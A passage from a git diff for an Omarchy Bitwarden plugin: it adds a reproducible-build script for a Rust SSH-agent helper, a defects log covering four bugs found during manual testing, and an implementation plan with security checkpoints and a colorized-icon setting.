into bin// and write + bin/SHA256SUMS. + --verify-reproducible Build twice from two different absolute paths and + require byte-identical output. Writes nothing. + --compare-tracked Report whether the tracked binary matches a fresh build + of this source, without modifying the repository. + Exit 1 on drift. + --allow-unpinned Permit a host-toolchain build when no container runtime + is available. The result is NOT reproducible and is + refused by --verify-reproducible. + --explain Say which build environment this would use and stop. + Runs nothing, pulls nothing, writes nothing. +USAGE +} + +fail() { printf 'build-agent: %s\n' "$1" >&2; exit 1; } +note() { printf 'build-agent: %s\n' "$1" >&2; } + +# --- preconditions --------------------------------------------------------- + +require_lockfile() { + [ -f "$REPO_ROOT/agent/Cargo.lock" ] \ + || fail "agent/Cargo.lock is missing; a release build has no dependency set without it" + [ -f "$REPO_ROOT/agent/rust-toolchain.toml" ] \ + || fail "agent/rust-toolchain.toml is missing; the compiler is not pinned" +} + +# A target other than the one the committed binary is for would produce bytes +# nobody can compare against it. +require_target() { + local target="${1:-$SUPPORTED_TARGET}" + [ "$target" = "$SUPPORTED_TARGET" ] \ + || fail "unsupported target '$target'; this release builds only $SUPPORTED_TARGET" +} + +# Are we already running inside the pinned build environment? +# +# This is the question that matters, and it is not the same as "can I start a +# container". CI runs this script *inside* the pinned image, where no +# container runtime exists and none is wanted -- an earlier version conflated +# the two and refused to build in the one environment it was written for. +# +# QSBW_PINNED_BUILD is the claim, set by the release workflow and by this +# script when it re-executes itself in a container. The compiler check below +# is the part that does not take that claim on trust: if the environment says +# it is pinned but carries a different rustc than rust-toolchain.toml names, +# the claim is wrong and the build stops. +in_pinned_environment() { + [ "${QSBW_PINNED_BUILD:-}" = "1" ] || return 1 + local pinned actual + pinned="$(grep -oP 'channel\s*=\s*"\K[^"]+' "$REPO_ROOT/agent/rust-toolchain.toml" 2>/dev/null)" + actual="$(rustc --version 2>/dev/null | cut -d' ' -f2)" + [ -n "$pinned" ] && [ "$pinned" = "$actual" ] \ + || fail "this environment claims to be the pinned one but carries rustc ${actual:-unknown}, not $pinned" + + # The compiler check alone is too weak: a host may happen to carry the same + # rustc while its glibc and binutils -- the things the image exists to pin -- + # are entirely different. The pinned image is Debian bookworm, so verify + # that too. It is cheap, and it catches the case of a developer setting the + # variable on a machine that merely has the right Rust. + local os_id os_codename + os_id="$(. /etc/os-release 2>/dev/null && printf '%s' "${ID:-}")" + os_codename="$(. /etc/os-release 2>/dev/null && printf '%s' "${VERSION_CODENAME:-}")" + [ "$os_id" = "debian" ] && [ "$os_codename" = "bookworm" ] \ + || fail "this environment claims to be the pinned one but is ${os_id:-unknown}/${os_codename:-unknown}, + not debian/bookworm. The image pins glibc and binutils, not just the compiler." + return 0 +} + +# A runtime we could use to *enter* the pinned environment from outside it. +container_runtime() { + # Omarchy's own convention is `sudo docker`: it does not put users in the + # docker group, because that group is equivalent to passwordless root. A + # repository whose purpose is guarding private keys should not require that + # to build. + if docker info >/dev/null 2>&1; then echo "docker"; return 0; fi + if sudo -n docker info >/dev/null 2>&1; then echo "sudo docker"; return 0; fi + if podman info >/dev/null 2>&1; then echo "podman"; return 0; fi + return 1 +} + +# Re-run this script inside the pinned image, so a local reproduction uses the +# same glibc, linker and strip that produced the committed bytes. +reexec_in_container() { + local runtime="$1" + shift + note "entering the pinned image with: $runtime" + # shellcheck disable=SC2086 + $runtime run --rm \ + -e QSBW_PINNED_BUILD=1 \ + -v "$REPO_ROOT:/work" -w /work \ + "$PINNED_IMAGE" \ + /work/scripts/build-agent.sh "$@" +} + +# --- the build itself ------------------------------------------------------ + +# Compose the flags that remove build-path variance. The registry path is the +# one that usually leaks: dependency source paths end up in panic messages and +# debug sections, and $CARGO_HOME differs per machine and per CI runner. +rustflags_for() { + local src="$1" cargo_home="${2:-${CARGO_HOME:-$HOME/.cargo}}" + printf -- '--remap-path-prefix=%s=/src --remap-path-prefix=%s/registry=/registry' \ + "$src" "$cargo_home" +} + +# One cargo invocation, with everything that affects output stated explicitly. +# +# The target directory must live *inside* the source root. It is remapped +# along with everything else under it, and build-script output paths reach the +# binary: a target directory somewhere else is an unremapped path that changes +# the bytes. That is not hypothetical -- the release build used a separate +# temporary directory and produced a different digest from the two builds +# --verify-reproducible had just declared identical. +build_into() { + local src="$1" + ( cd "$src/agent" \ + && CARGO_TARGET_DIR="$src/target" \ + RUSTFLAGS="$(rustflags_for "$src")" \ + cargo build --locked --release --target "$SUPPORTED_TARGET" >&2 ) +} + +# Export the committed tree somewhere clean and build it there. +# +# Every mode goes through this, so a release, a reproducibility check and a +# drift comparison are literally the same procedure. They diverged once, and +# the divergence was invisible until two digests of the same source disagreed. +# +# HEAD rather than the working tree: a release artifact should not contain +# uncommitted changes, and the comparison modes have to build what the +# repository actually says. +build_clean_copy() { + local dest="$1" + mkdir -p "$dest" || return 1 + git -C "$REPO_ROOT" archive HEAD | tar -x -C "$dest" || return 1 + build_into "$dest" || return 1 + printf '%s/target/%s/release/%s' "$dest" "$SUPPORTED_TARGET" "$OUTPUT_NAME" +} + +digest() { sha256sum "$1" | cut -d' ' -f1; } + +# --- modes ----------------------------------------------------------------- + +# Build twice from genuinely different absolute paths. Copying the source to a +# second location is the point: a path that leaked into the binary shows up +# here as a digest mismatch and nowhere else. +verify_reproducible() { + if ! in_pinned_environment; then + local runtime + if runtime="$(container_runtime)"; then + reexec_in_container "$runtime" --verify-reproducible + return $? + fi + fail "not in the pinned build environment and no container runtime to enter one, so the + system toolchain is unpinned and the result would not be reproducible. This check + refuses to report success it cannot support. It runs in CI, which executes it inside + the pinned image. See --allow-unpinned for a plain build that makes no such claim." + fi + note "building in the pinned environment" + + local work first second + work="$(mktemp -d)" || fail "could not create a work directory" + # shellcheck disable=SC2064 + trap "rm -rf '$work'" EXIT + first="$work/path-one" + second="$work/a-considerably-longer-second-path" + + local a b binary + binary="$(build_clean_copy "$first")" || fail "the first build failed" + a="$(digest "$binary")" + binary="$(build_clean_copy "$second")" || fail "the second build failed" + b="$(digest "$binary")" + + printf 'path one: %s\npath two: %s\n' "$a" "$b" + if [ "$a" != "$b" ]; then + fail "the two builds differ, so something in the build path reached the binary" + fi + note "identical across both paths: $a" +} + +# Report drift without touching the repository, so it is safe in a PR gate. +compare_tracked() { + local committed="$OUTPUT_DIR/$OUTPUT_NAME" + [ -f "$committed" ] || fail "no tracked binary at bin/$OUTPUT_ARCH/$OUTPUT_NAME" + + # The comparison is only worth anything from inside the pinned environment. + # The tracked bytes were produced there, and the image pins glibc and + # binutils as well as the compiler -- so a host build with the right rustc + # and a different libc reports drift that does not exist. This mode is the + # PR gate: it was the one mode that could fail for a reason having nothing + # to do with the source it was asked about. + if ! in_pinned_environment; then + local runtime + if runtime="$(container_runtime)"; then + reexec_in_container "$runtime" --compare-tracked + return $? + fi + fail "not in the pinned build environment and no container runtime to enter one. A build + here would use the host toolchain, whose output differs from the tracked bytes for + reasons that are not drift -- so this check refuses to report a mismatch it cannot + stand behind. It runs in CI, which executes it inside the pinned image." + fi + note "comparing in the pinned environment" + + local work + work="$(mktemp -d)" || fail "could not create a work directory" + # shellcheck disable=SC2064 + trap "rm -rf '$work'" EXIT + local fresh binary + binary="$(build_clean_copy "$work/source")" || fail "the comparison build failed" + fresh="$(digest "$binary")" + local have + have="$(digest "$committed")" + printf 'tracked: %s\nfresh: %s\n' "$have" "$fresh" + [ "$have" = "$fresh" ] \ + || fail "bin/$OUTPUT_ARCH/$OUTPUT_NAME does not match a build of this source" + note "the tracked binary matches this source" +} + +build_release() { + local allow_unpinned="$1" + if ! in_pinned_environment; then + local runtime + if runtime="$(container_runtime)"; then + reexec_in_container "$runtime" + return $? + fi + [ "$allow_unpinned" = "yes" ] || fail "not in the pinned build environment and no container runtime + to enter one, so the system toolchain would be unpinned. Pass --allow-unpinned to build + anyway, understanding the result is not the release artifact." + note "WARNING: building with the host toolchain. These bytes are not reproducible" + note " and must not be committed as the release binary." + fi + mkdir -p "$OUTPUT_DIR" + local work + work="$(mktemp -d)" || fail "could not create a work directory" + # shellcheck disable=SC2064 + trap "rm -rf '$work'" EXIT + local binary + binary="$(build_clean_copy "$work/source")" || fail "the build failed" + install -m 0755 "$binary" "$OUTPUT_DIR/$OUTPUT_NAME" + # Paths relative to bin/, so `sha256sum -c SHA256SUMS` works from there + # whatever the checkout is called. + ( cd "$REPO_ROOT/bin" && sha256sum "$OUTPUT_ARCH/$OUTPUT_NAME" > "$SUMS_FILE" ) + note "wrote bin/$OUTPUT_ARCH/$OUTPUT_NAME and bin/SHA256SUMS" +} + +# Report the decision without acting on it. Useful for a person wondering why +# a build refused, and for tests that need to check the decision logic without +# pulling an image and running two full builds to find out. +explain() { + if in_pinned_environment; then + printf 'environment: pinned (building here directly)\n' + return 0 + fi + local runtime + if runtime="$(container_runtime)"; then + printf 'environment: not pinned, but reachable via %s\n' "$runtime" + printf 'image: %s\n' "$PINNED_IMAGE" + return 0 + fi + printf 'environment: not pinned and no container runtime to enter one\n' + printf 'consequence: a build here would not be reproducible; --verify-reproducible refuses\n' + return 0 +} + +# --- entry point ----------------------------------------------------------- + +main() { + local mode="build" allow_unpinned="no" + while [ $# -gt 0 ]; do + case "$1" in + --verify-reproducible) mode="verify" ;; + --explain) mode="explain" ;; + --compare-tracked) mode="compare" ;; + --allow-unpinned) allow_unpinned="yes" ;; + -h|--help) usage; exit 0 ;; + *) usage >&2; fail "unknown argument '$1'" ;; + esac + shift + done + + require_lockfile + require_target "${CARGO_BUILD_TARGET:-$SUPPORTED_TARGET}" + command -v cargo >/dev/null 2>&1 || fail "cargo is not on PATH" + + case "$mode" in + explain) explain ;; + verify) verify_reproducible ;; + compare) compare_tracked ;; + build) build_release "$allow_unpinned" ;; + esac +} + +main "$@" diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tasks/bugs.md b/plugins/io.github.elevate08.qs-bitwarden-cli/tasks/bugs.md new file mode 100644 index 0000000..5723114 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tasks/bugs.md @@ -0,0 +1,131 @@ +# Known Defects + +Found outside a task's own verification, during the Task 20 manual matrix. +Each entry records what was observed, what the code actually does, and how it +was resolved. + +## 1. README described `sshAgentUnlockOnDemand` as gating signing + +**Status:** fixed in the same commit. Found 2026-08-31 on `feature/ssh-agent`. + +**Observed:** With **Unlock on demand** switched off and the vault locked, +`ssh-add -T` against a projected public key still opened the panel's unlock +prompt. Dismissing it returned "agent refused operation" for both the Ed25519 +and the RSA key. + +**Verdict: the code is correct and the documentation was wrong.** The setting +governs the identity listing on a cold cache, not signing. A locked signing +request for a key the helper already holds in its public cache always raises +the unlock prompt and parks the request; dismissing the prompt is what refuses +it, and it refuses immediately rather than at the deadline. + +**Where that is settled:** + +- `docs/ideas/ssh-agent.md:178` -- the state table row for "Locked, cache + available" reads "List public identities; signing asks panel to unlock", + with no condition attached. +- `docs/ideas/ssh-agent.md:310` -- "When it is on, unlock-on-demand must begin + at `SSH_AGENTC_REQUEST_IDENTITIES` rather than at the sign request: with no + cache there are no identities to offer, so no sign request will ever + arrive." +- `agent/src/main.rs:475` consults `unlock_on_demand` in the `Identities` arm; + the `Sign` arm at `main.rs:511` deliberately does not. +- `agent/tests/lifecycle.rs:320` and `:444` both assert the locked-sign + behavior without ever setting the option, so the default already covers it. + +**Fixed by** rewriting README "While the vault is locked" to separate the two +moments, and rewriting the `sshAgentUnlockOnDemand` row in the configuration +reference. No code change; the helper binary is unaffected and needs no +rebuild. + +**Consequence for the Task 20 matrix:** the "off -> refused, no panel" row as +originally written cannot pass, because it describes behavior the design does +not have. Signing refusal while locked is tested by dismissing the prompt, and +by asking for a key the public cache does not know. + +## 2. A grant's remaining time never counted down + +**Status:** fixed. Found 2026-08-31 on `feature/ssh-agent`, during the Task 20 +manual matrix. + +**Observed:** With one live grant, the ACTIVE APPROVALS row on the SSH agent +settings screen read "1m 59s left" for the whole two minutes and then the row +disappeared, having never counted down. `sshAgentStatus` reported +`"grants":1` throughout. + +**Cause:** `sshAgentGrantViews` computed `remainingLabel` from the companion's +`expiresInSec` at the instant of the announcement, and the companion announces +a grant once and says nothing further until the set changes. The view was a +snapshot rendered for the life of the grant; nothing re-derived it, and +nothing dropped a lapsed grant until the next announcement arrived. + +**Fixed by** stamping each announced grant with `expiresAtMs` -- when it runs +out rather than how long it had left -- and adding `sshAgentGrantsAt(views, +nowMs)`, which re-derives the remaining time for a given moment and drops what +has lapsed. `Panel.sshGrants` became a derived property over +`sshGrantsAnnounced` and a `sshGrantTick` driven by a 1s timer that runs only +while grants exist, matching the cooldown countdown. Both fallbacks are +deliberate: an unstamped view, or any view before the first tick, is shown as +announced rather than dropped, because a grant must never disappear merely +because a timer has not run yet. + +**Also worth knowing:** the same staleness would have hidden a grant that had +genuinely expired, since `sshAgentStatus` reported the announced count rather +than the live one. It now reports the live one. + +## 3. The helper leaks its runtime files when the plugin is removed + +**Status:** open, low severity. Found 2026-08-31 during the Task 20 manual +matrix. + +**Observed:** After `omarchy plugin remove` with the SSH agent still enabled, +`/run/user/1000/qs-bitwarden-cli/` still held `ssh-agent.sock`, +`ssh-agent.lock` and `ssh-keys.fifo`, with no helper process running. + +**Cause:** `ServiceRuntime` and `Runtime` in `agent/src/runtime.rs:264` and +`:320` unlink those files from `Drop`, which runs on a graceful shutdown -- +which is why turning the agent off leaves nothing behind. Tearing the plugin +down kills the helper rather than shutting it down, so `Drop` never runs. + +**Impact:** Small. The files are on a tmpfs and go with the login session, and +`omarchy plugin remove` has no uninstall hook, so nothing of ours can run at +that moment anyway. Until the next login, a client routed at that path finds a +socket that answers nothing rather than no socket at all. + +**Possible fix:** A SIGTERM handler in the helper that runs the same cleanup, +if the shell terminates rather than kills the process. `Drop` cannot help +against SIGKILL and nothing can. Worth checking which signal the shell +actually sends before writing the handler. + +**Documented meanwhile** in the README's Uninstall section: turn the agent off +before removing the plugin, and what the three files are if you did not. + +## 4. The uninstall instructions destroyed a stow-managed shell.json + +**Status:** fixed. Found 2026-08-31 during the Task 20 manual matrix, on the +maintainer's own machine. + +**Observed:** Following the Uninstall section, the step "delete the +`io.github.elevate08.qs-bitwarden-cli` key under `plugins`" was carried out by +removing `~/.config/omarchy/shell.json`. Every configured plugin disappeared +from the bar, not only this one, and the shell came up on its built-in +defaults. + +**Cause:** That path was a `stow` symlink into `~/projects/dotfiles`. Deleting +it removed the link, not the configuration; the shell then found no user +config at all. The real file was intact in the repository throughout, and +restoring the symlink restored everything. + +The instruction was also redundant: `omarchy plugin remove` already calls +`omarchy-shell shell setPluginEnabled false`, which removes the bar entry +and its settings before the directory goes. + +**Fixed by** deleting the hand-edit step, naming `omarchy plugin disable` for +the stale-entry case, and warning plainly that `shell.json` is often a symlink +and must be changed through the shell rather than edited. Nothing in the +Uninstall section now tells a user to touch a file the shell owns. + +**Worth remembering:** every other path in that section is under this plugin's +own directories, where a mistake costs the user only this plugin's data. This +one step reached into a file shared by every plugin on the system, and that is +what made a documentation error destructive. diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tasks/plan.md b/plugins/io.github.elevate08.qs-bitwarden-cli/tasks/plan.md new file mode 100644 index 0000000..8172806 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tasks/plan.md @@ -0,0 +1,521 @@ +# Implementation Plan: Opt-in Bitwarden SSH Agent + +## Overview + +Build the SSH-agent design in `docs/ideas/ssh-agent.md` as an optional, +disabled-by-default feature. The existing Quickshell panel remains the only +component that invokes `bw` and owns `BW_SESSION`; a supervised Rust companion +implements the local SSH-agent protocol, holds private SSH keys only while the +vault is unlocked, and makes signing contingent on a live approval or bounded +process grant. Before any agent work, the ordinary vault read is sanitized +outside QML so unsupported cipher types and `sshKey.privateKey` cannot enter +the long-lived panel process. + +Detailed tasks and checkpoints are tracked in `tasks/todo.md`. No feature code +should be written until this plan has human approval. + +## Development Worktree and Live Checkpoints + +- Develop on branch `feature/ssh-agent` in `.worktrees/ssh-agent`, based on the + latest fetched `origin/master`. Keep the primary `master` checkout free of + feature changes. +- The enabled Omarchy plugin path + `~/.config/omarchy/plugins/io.github.elevate08.qs-bitwarden-cli` must resolve + to this worktree before any live test. +- At the end of every task slice, run its focused tests plus the applicable + regression/QML/lint/manifest gates, verify the plugin symlink target, run + `omarchy restart shell`, confirm `omarchy-shell shell ping`, summon the + Bitwarden panel, and call its non-secret `status` IPC method. +- Pause after that live reload so the user can exercise the plugin manually. + Do not start the next task until the user confirms the checkpoint or reports + issues to fix. + +## Scope + +The first release includes: + +- a public-only, read-only SSH-key item experience in the panel; +- Ed25519 and RSA SHA-2 authentication/signing through a stable Unix socket; +- explicit per-signature approval and short per-process grants; +- opt-in unlock-on-demand, safe UWSM client routing, and advisory diagnostics; +- public-key file projection for normal Git SSH-signing configuration; +- an x86_64 GNU helper bundled with the plugin and verified by reproducible CI. + +It does not include key creation/import, SSH item editing/cloning, master- +password re-prompt keys, forwarding, persistent grants, GPG-agent support, +item types 6–8, aarch64, or a Bitwarden SDK/direct service integration. + +## Architecture Decisions + +- Sanitize `bw list items` with static `jq` programs before QML parses it. QML + receives intact types 1–4 and a public-only type-5 projection; all other + types fail closed out of the display model. +- Keep one panel-owned `bw list items` read per unlock/sync. When the agent is + enabled, a bounded `tee` branch sends only eligible type-5 private material + to a nonce-framed FIFO. Failure of that optional branch must never prevent + the panel list from loading. +- Use one Rust companion and one stable socket under `$XDG_RUNTIME_DIR`. The + companion spawns no child processes, receives neither `BW_SESSION` nor + unrelated vault data, and exits when its control channel closes. +- Make approval, epoch checks, request limits, and final allow/deny decisions + authoritative in the companion. Process information is prompt context, not + an authentication boundary. +- Treat public-key file export as v1 scope because normal Git SSH signing needs + file paths. The planning assumption is that the companion owns this + projection from its validated public keystore; Task 4 records or corrects + that ownership before implementation proceeds. +- Ship only `x86_64-unknown-linux-gnu` initially. Commit the source, lockfile, + pinned toolchain, release bytes, and checksum; compare clean CI output byte + for byte before anything reaches `master` or a release. + +## Dependency Graph + +```text +Task 1 sanitized read contract + └── Task 2 panel SSH-key slice + └── Task 3 prerequisites and diagnostics + +Task 4 Rust dependency/security decision + └── Task 5 protocol and signing + └── Task 6 epoch keystore + ├── Task 7 nonce FIFO loading + └── Task 8 approvals and grants (also depends on Task 5) + └── Task 9 companion lifecycle (also depends on Task 7) + +Tasks 3 + 9 + └── Task 10 QML supervision + ├── Task 11 opt-in setup + └── Task 12 shared vault fan-out (also depends on Tasks 1 + 7) + └── Task 13 vault lifecycle (also depends on Tasks 8 + 9) + ├── Task 14 approval UI + └── Task 15 public-key projection + +Task 9 + └── Task 16 reproducible build + └── Task 17 pull-request gates + +Tasks 10 + 16 + └── Task 18 bundled-helper validation + └── Task 19 protected release (also depends on Task 17) + +Tasks 3 + 11 + 14 + 15 + 19 + └── Task 20 documentation and release validation +``` + +## Task List + +### Phase 1: Remove the Existing Exposure + +- [x] Task 1: Introduce the sanitized vault-read contract +- [x] Task 2: Deliver the public SSH-key panel slice +- [x] Task 3: Enforce SSH support prerequisites + +### Checkpoint: Safe Panel Baseline + +- [ ] QML-facing fixture output contains no SSH private-key marker or unknown + cipher-type marker. +- [ ] SSH keys are public-only and cannot reach generic detail/edit paths. +- [ ] All current JavaScript and QML tests pass; the plugin validates and lints + at its existing baseline. +- [ ] Human review approves the security boundary before Rust work continues. + +### Phase 2: Prove the Headless Agent Core + +- [x] Task 4: Pin the Rust security foundation +- [x] Task 5: Implement bounded SSH protocol signing +- [x] Task 6: Implement the vault-epoch keystore + +### Checkpoint: Rust Primitives + +- [x] Ed25519 and both RSA SHA-2 modes pass protocol-vector tests. +- [x] Lock, malformed input, mismatch, and limit paths fail closed. +- [x] The dependency/zeroization decision is recorded and reviewed. + +- [x] Task 7: Implement nonce-framed FIFO loading +- [x] Task 8: Authorize signatures with bounded grants +- [x] Task 9: Complete the supervised companion lifecycle + +### Checkpoint: Headless Companion + +- [ ] Disposable-key tests cover identities, signing, multiple clients, + approval, grants, lock races, and FIFO rejection. +- [ ] The helper serves only its private stable socket, has no vault credential, + spawns no process, and exits on control EOF. +- [ ] Manual headless authentication and Git SSH-signing smoke tests pass. +- [ ] Human review approves proceeding to panel integration. + +### Phase 3: Integrate the Optional Feature + +- [x] Task 10: Establish companion supervision +- [x] Task 11: Deliver opt-in session setup +- [x] Task 12: Feed the companion from the shared vault read + +### Checkpoint: Optional Data Plane + +- [x] Disabled mode starts no helper and creates no socket, FIFO, or private-key + branch. +- [x] Enabled mode loads keys from the same vault read without delaying or + breaking the ordinary list on helper failure. +- [x] QML remains responsive during blocked SSH clients and helper events. + +- [x] Task 13: Enforce vault lifecycle transitions +- [x] Task 14: Deliver signing authorization UX +- [x] Task 15: Project validated public-key files + +### Checkpoint: End-to-End Feature + +- [x] Lock, logout, account change, suspend, screen lock, disable, crash, and + Quickshell reload all satisfy the state machine. +- [x] Authentication, commit signing, and multi-commit signing work with no + private key on disk. +- [x] Public projections survive lock but clear on logout/account change/disable. +- [ ] Human security and usability review approves packaging. + +### Phase 4: Establish the Artifact Trust Path + +- [x] Task 16: Make the release build reproducible +- [x] Task 17: Add read-only pull-request gates + +### Checkpoint: Candidate Artifact + +- [x] Two clean pinned builds produce identical stripped bytes. +- [x] Existing, Rust, audit, license, and end-to-end gates pass with no PR + secrets or write token. + +- [x] Task 18: Validate the bundled helper at launch +- [~] Task 19: Protect release provenance -- workflow, environment and tests + are in place; the first protected tag run is still outstanding + +### Checkpoint: Shippable Artifact + +- [ ] The tracked helper is executable, native-tested, checksum-consistent, + protocol-compatible, and byte-identical to the protected build. +- [ ] A release produces provenance attestation, SBOM, and dependency/license + report with narrowly scoped permissions. + +### Phase 5: Document and Release + +- [~] Task 20: Complete release documentation -- README, CHANGELOG, manifest + and the design draft are done; the manual release matrix is not + +### Checkpoint: Complete + +- [ ] Every task's acceptance criteria and the project Definition of Done pass. +- [ ] Setup, conflict, logout/login, upgrade, verification, and uninstall paths + are documented and manually exercised. +- [ ] No private key, session token, signed payload, or signature appears in + QML state, argv, logs, files, CI artifacts, or test diagnostics. +- [ ] Human review approves merge and release. + +## Verification Strategy + +Use focused tests after each task and these full gates at checkpoints: + +```bash +for test_file in tests/*.test.js; do node "$test_file" || exit 1; done +QT_QPA_PLATFORM=offscreen /usr/lib/qt6/bin/qmltestrunner -input tests/qml +mkdir -p /tmp/qs-imports +ln -sfn /usr/share/omarchy/shell /tmp/qs-imports/qs +/usr/lib/qt6/bin/qmllint -I /tmp/qs-imports Panel.qml FormPickerRow.qml +omarchy plugin validate . + +cargo fmt --manifest-path agent/Cargo.toml --check +cargo clippy --manifest-path agent/Cargo.toml --locked --all-targets -- -D warnings +cargo test --manifest-path agent/Cargo.toml --locked --all-targets +cargo deny --manifest-path agent/Cargo.toml check +``` + +The final runtime matrix must include a disposable fixture vault, a fake panel +controller, real OpenSSH clients, Git authentication, Git SSH signing, lock +during every sensitive transition, helper crash/reload, and both unlock-on- +demand modes. CI must never use a real vault or credential. + +## Parallelization Opportunities + +- After Task 3, the panel baseline can remain stable while Tasks 4–9 build the + headless Rust core; do not parallelize work that changes the sanitized read + contract until Task 1 is merged. +- After Task 9, Task 16's reproducible-build work can run alongside Tasks + 10–11 because it consumes the frozen helper interface rather than QML state. +- After Task 13, Tasks 14 and 15 can proceed independently if Task 4 has fixed + the public-export owner and the control protocol is frozen. +- Tasks 17 and 18 may proceed in parallel after Task 16, but Task 19 waits for + both so release policy matches launch-time validation. + +## Risks and Mitigations + +| Risk | Impact | Mitigation | +|---|---|---| +| QML receives private SSH material before sanitization | High | Make Tasks 1–3 a standalone prerequisite gate with marker-based real-pipeline tests. | +| Selected Rust key types retain secret clones after lock | High | Fail the Task 4/6 spike if parsed private components cannot be bounded and best-effort-zeroized. | +| A lock races a load, approval, grant, or signature | High | Use vault epochs, an atomic deny linearization point, candidate keystores, bounded acknowledgments, and kill-on-timeout. | +| Same-UID FIFO injection replaces the key set | High | Require a fresh 128-bit load nonce delivered only over the private control pipe and reject duplicate/stale payloads. | +| A slow or broken agent branch stalls the core vault list | High | Bound input/output/time, drain eagerly, supervise one process group, and retry the list once without the optional branch. | +| Process attribution creates false security confidence | Medium | Enforce peer UID; present PID/path/start-time as context only; scope grants narrowly and revalidate at sign time. | +| UWSM setup overwrites another agent configuration | High | Use one plugin-owned atomic file, refuse symlinks/unexpected contents, show conflicts, and require confirmation plus re-login. | +| Bundled binary drifts from source | High | Pin every build input and compare clean release bytes byte-for-byte before merge/release. | +| Fork PR artifact policy becomes impossible to satisfy | Medium | Upload read-only candidates for source-only fork PRs; require the matching bytes before merge to `master`, not inside the untrusted fork job. | +| Older/self-hosted servers expose partial SSH support | Medium | Enforce the CLI floor, report capability as unconfirmed when appropriate, and document the 2026.8.0 malformed-item fix. | +| Feature complexity degrades the ordinary vault | High | Keep disabled mode inert, isolate helper failure, checkpoint every 2–3 tasks, and run the full existing regression suite throughout. | + +## Open Questions for Human Review + +- **Public export scope:** Revision 2 says both that public-key export is + required in v1 and that it remains later work. This plan follows the stronger + end-to-end requirement and includes it in v1. Confirm that choice. +- **Public export owner:** This plan recommends the companion write the + projection from its validated public keystore, using an absolute data path + supplied at launch. Task 4 must record the final owner and its path/cleanup + contract before implementation. +- **Dependency outcome:** The Rust crate set, Bitwarden v2 agent status, RFC + status, zeroization behavior, and license/audit surface must be re-verified + from current primary sources during Task 4; the design draft's review date is + not sufficient evidence. +- **Release governance:** *Resolved during Task 19.* The protected environment + is `release`; its required reviewer is `@Elevate08`, with self-review + permitted because this repository has one maintainer -- the gate exists so + that write, OIDC and attestation credentials never come into existence + without a deliberate human click, not to simulate a second pair of eyes that + does not exist. Deployments are restricted to `v*` tags. CODEOWNERS names + `@Elevate08` throughout, and calls out `/.github/workflows/release.yml` + separately as the only workflow that can write, mint a token, or sign. + +## Follow-up Plan: Centered SSH Approval Popup + +The approved follow-up specification is +`docs/ideas/ssh-approval-popup.md`. Add a disabled-by-default presentation +choice without changing the companion protocol or authorization rules. + +### Dependency order + +```text +setting contract + -> centered approval surface + -> locked-vault unlock surface + -> documentation and full verification +``` + +### Architecture decisions + +- Keep request and credential state in `Panel.qml`; popup components are views + that call the same approve, deny, PIN, fingerprint, and password functions. +- Use a full-output transparent `PanelWindow`, `ExclusionMode.Ignore`, the + Wayland overlay layer, and a brief Exclusive-to-OnDemand focus prime, + matching Omarchy's centered transient surfaces. +- Reuse `SshApprovalScreen.qml` between both presentation modes so the key, + process, grant, loading, and deadline semantics cannot drift. +- Keep account login in the full panel. The centered prompt handles only the + signed-in locked/unlocked states involved in SSH requests. + +### Risks and mitigations + +| Risk | Mitigation | +|---|---| +| Popup accidentally becomes a second authorization authority | It only calls existing `Panel.qml` request functions; helper checks remain unchanged. | +| PIN/fingerprint results are discarded because the anchored panel is closed | Define one transient-auth-surface predicate used by all unlock acceptance checks. | +| The invisible experience leaves a password or pending process behind | Dismissal denies the request and runs popup-specific credential/prewarm cleanup. | +| A request label injects markup | Every request-derived `Text` remains `Text.PlainText`. | +| Overlay traps input after the request ends | Visibility and Wayland keyboard focus bind directly to the live pending request. | + +--- + +# Implementation Plan: Colorized Menu-Bar Icon + +## Overview + +Add an opt-in `colorizeIcon` boolean setting to the Bitwarden panel. When +enabled, the primary menu-bar shield follows Omarchy's live `Color.accent` +theme color; when disabled, it keeps the current bar foreground color. The +locked padlock, missing-dependency badge, and urgent/error indicators remain +unchanged so color personalization does not erase status meaning. + +The existing settings renderer already turns boolean schema entries into +keyboard-operable toggle rows. No custom color picker, palette model, new +dependency, or arbitrary color persistence is required. + +## Architecture Decisions + +- Store only `colorizeIcon: boolean`; derive the actual color from + `Color.accent` at render time so theme changes are inherited automatically. +- Default the setting to `false` so existing installations retain their current + appearance. +- Apply the setting only to the primary shield glyph in `shieldIconComp`. + Leave the padlock and setup/error badges on their existing bindings. +- Put the row in the General settings group, using the existing schema-driven + toggle and `omarchy bar set` persistence path. +- Treat malformed external values as `false`, using the existing strict + boolean-setting behavior. + +## Dependency Graph + +```text +manifest default/schema + model schema + │ + ├── settings persistence/value lookup tests + │ + └── Panel color binding + schema-driven General toggle + │ + └── QML/static checks + runtime/theme verification +``` + +## Task List + +### Phase 1: Settings Contract + +- [x] Task 1: Add the colorization setting contract + +### Checkpoint: Settings Contract + +- [x] `colorizeIcon` exists in both `manifest.json` and `BitwardenModel.js` + with boolean type and a `false` default. +- [x] Valid booleans round-trip through the existing writer, while malformed + values resolve to `false`. +- [x] Focused settings/model tests pass before UI wiring begins. + +### Phase 2: Vertical UI Slice + +- [x] Task 2: Wire the theme-accent shield and General toggle + +### Checkpoint: Colorized Icon Behavior + +- [x] With the setting off, the primary shield still uses the bar foreground. +- [x] With the setting on, the primary shield uses `Color.accent`. +- [x] Lock/setup/error badges retain their existing foreground or urgent colors. +- [x] The settings row is keyboard-operable and persists through the existing + shell reload path. + +### Phase 3: Verification and Documentation + +- [~] Task 3: Add regression coverage and document the setting + +### Checkpoint: Complete + +- [x] Focused and full JavaScript tests pass. +- [x] QML tests/lint and plugin validation pass where the Omarchy environment is + available. +- [ ] Manual verification covers both toggle states, a theme accent change, + locked state, setup-required state, and an error/urgent state. +- [x] README or user-facing feature documentation explains the toggle and its + theme-derived behavior. +- [ ] Human review approves the implementation before merge; no commit or push + is performed automatically. + +## Task Details + +### Task 1: Add the colorization setting contract + +**Description:** Register `colorizeIcon` as a General boolean setting in the +manifest and model schema, expose its default through the widget defaults, and +ensure the existing settings value/read/write paths recognize it without +special-case persistence code. + +**Acceptance criteria:** + +- [x] The manifest and model declare the same `colorizeIcon` key, boolean type, + label, description, and `false` default. +- [x] `boolSetting("colorizeIcon", true)` returns true; malformed values such + as strings and numbers fall back to false. +- [x] The setting is grouped under General and included in visible settings + without changing existing group ordering or setting semantics. + +**Verification:** + +- [x] Tests pass: `node 